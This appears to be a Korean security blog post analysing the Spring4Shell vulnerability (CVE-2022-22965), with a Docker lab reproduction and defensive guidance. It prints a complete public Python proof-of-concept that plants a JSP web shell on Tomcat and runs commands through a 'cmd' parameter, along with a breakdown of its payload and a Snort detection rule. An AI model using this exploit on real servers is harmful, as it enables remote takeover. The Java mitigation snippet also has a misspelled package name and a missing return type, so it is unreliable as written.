1. Spring Framework

- 자바 플랫폼을 위한 오픈 소스 애플리케이션 프레임워크
- 애플리케이션을 개발하기 위한 모든 기능을 종합적으로 제공하는 솔루션

 

2. CVE-2022-22965

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2022-22965

- JDK 9 이상의 Spring 프레임워크에서 RCE가 가능한 취약점 (CVSS 9.8점)
- 2010년에 스프링 프레임워크에서 발견된 취약점이 Class.classLoader를 사용하여 발생하였는데, 이번 JDK 9 버전 이상에서 'class.module.classLoader'로 우회
- 매개변수 바인딩 과정에서 'class' 라는 특수한 변수가 사용자에게 노출되어 'classLoader' 에 접근할 수 있을때 발생
① 사용자가 전달한 매개변수를 POJO에 바인딩하기 위해 "getBeanInfo" 메소드 호출
② 이때, stopClass를 지정하지 않을 시, 상위 클래스에 대한 속성 값도 함께 반환
③ 'class.module.classLoader'를 사용할 수 있게 됨

- 취약 조건
① JDK 9 이상
② Apache Tomcat 서버
③ Spring Framework 버전 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전
④ spring-webmvc 또는 spring-webflux 종속성
⑤ WAR 형태로 패키징
- 결과
'class' 객체가 외부에 노출되어 원격의 공격자는 해당 class를 이용해 RCE가 가능해짐

 

2.1 공격원리

- HTTP 요청 메세지에 웹쉘을 생성하는 페이로드를 전송 후 해당 웹쉘에 명령을 전송

[사진 2] 공격 원리 (https://hagsig.tistory.com/107)

 

2.2 취약점 상세

- 취약한 서버 구동

git clone https://github.com/reznok/Spring4Shell-POC
cd /Spring4Shell-POC
docker build . –t spring4shell && docker run –p 8080:8080 spring4shell

[사진 3] 취약 서버 환경 구동

- 도커 컨테이너가 정상적으로 실행되었는지 확인

[사진 4] 취약 서버 웹페이지


- 원격의 공격자는 대상 URL에 대하여 익스플로잇

[사진 5] 익스플로잇 1
[사진 6] 익스플로잇 1 패킷


- 이후, http://도메인 주소:8080/shell.jsp?cmd=id 명령어 입력 시 다음의 결과가 확인

[사진 7] 익스플로잇 2 성공
[사진 8] 익스플로잇 2 패킷


- 또한, 버프스위트를 통해 요청 값을 변조하여 공격 가능

[사진 9] 익스플로잇 3
[그림 10] 익스플로잇 8 패킷

- [그림 10] 200 응답을 받았으나, [그림 11]에서 해당 경로로 접근하여 RCE 결과 404 응답 (정확한 사유를 모르겠음)

[그림 11] 404 응답

 

2.2 PoC 분석

# Author: @Rezn0k
# Based off the work of p1n93r

import requests
import argparse
from urllib.parse import urlparse
import time

# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()

post_headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

get_headers = {
    "prefix": "<%",
    "suffix": "%>//",
    # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
    "c": "Runtime",
}


def run_exploit(url, directory, filename):
    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

    # Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
    # If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
    file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Change the tomcat log location variables
    print("[*] Modifying Log Configurations")
    ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Changes take some time to populate on tomcat
    time.sleep(3)

    # Send the packet that writes the web shell
    ret = requests.get(url, headers=get_headers, verify=False)
    print("[*] Response Code: %d" % ret.status_code)

    time.sleep(1)

    # Reset the pattern to prevent future writes into the file
    pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)


def main():
    parser = argparse.ArgumentParser(description='Spring Core RCE')
    parser.add_argument('--url', help='target url', required=True)
    parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
    parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
                        required=False, default="webapps/ROOT")

    file_arg = parser.parse_args().file
    dir_arg = parser.parse_args().dir
    url_arg = parser.parse_args().url

    filename = file_arg.replace(".jsp", "")

    if url_arg is None:
        print("Must pass an option for --url")
        return

    try:
        run_exploit(url_arg, dir_arg, filename)
        print("[+] Exploit completed")
        print("[+] Check your target for a shell")
        print("[+] File: " + filename + ".jsp")

        if dir_arg:
            location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
        else:
            location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id"
        print(f"[+] Shell should be at: {location}?cmd=id")
    except Exception as e:
        print(e)


if __name__ == '__main__':
    main()


- 해당 PoC에서 핵심인 부분은 def run_exploit() 부분

    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
파라미터 데이터 설명
class.module.classLoader.resources.context.parent.pipeline.first.pattern %25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%
5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di
실제 페이로드
class.module.classLoader.resources.context.parent.pipeline.first.suffix .jsp 확장자
class.module.classLoader.resources.context.parent.pipeline.first.directory webapps/ROOT 악의적인 파일이 위치할 디렉터리
class.module.classLoader.resources.context.parent.pipeline.first.prefix shell 생성할 파일의 이름을 설정
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat 공란 로그에 대한 날짜 형식이 설정

 

3. 대응방안

3.1 서버측면

① JDK 버전 확인
- “java -version” 명령 입력

② Spring 프레임워크 사용 유무 확인
- 프로젝트가 jar, war 패키지로 돼 있는 경우 zip 확장자로 변경하여 압축풀기
- “spring-beans-.jar”, “spring.jar”, “CachedIntrospectionResuLts.class” 검색
- find . -name spring-beans*.jar

③ 최신버전으로 업데이트 적용
- 신규 업데이트가 불가능할 경우 프로젝트 패키지 아래 해당 전역 클래스 생성 후 재컴파일(테스트 필요)

import org.springwork.core.Ordered;
import org.springwork.core.annotation.Order;
import org.springwork.web.bind.WebDataBinder;
import org.springwork.web.bind.annotation.ControllerAdvice;
import org.springwork.web.bind.annotation.InitBinder;
 
@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {
@InitBinder
public setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);
}
}

 

3.2 네트워크 측면

① 보안 솔루션에 Snort 룰, YARA 룰 등 탐지 및 차단 정책 설정

alert tcp any any -> any any (msg:"Spring4Sell CVE-2022-22965"; content:"class.module.classLoader"; nocase;)


② 로그 모니터링 후 관련 IP 차단

③ IoC 침해지표 확인

 

4. 참고

https://www.hahwul.com/2022/04/05/spring4shell/
https://github.com/reznok/Spring4Shell-POC
https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66592&queryString=cGFnZT0yJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PXRpdGxlX25hbWUmc2VhcmNoX3dvcmQ9

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14

+ Recent posts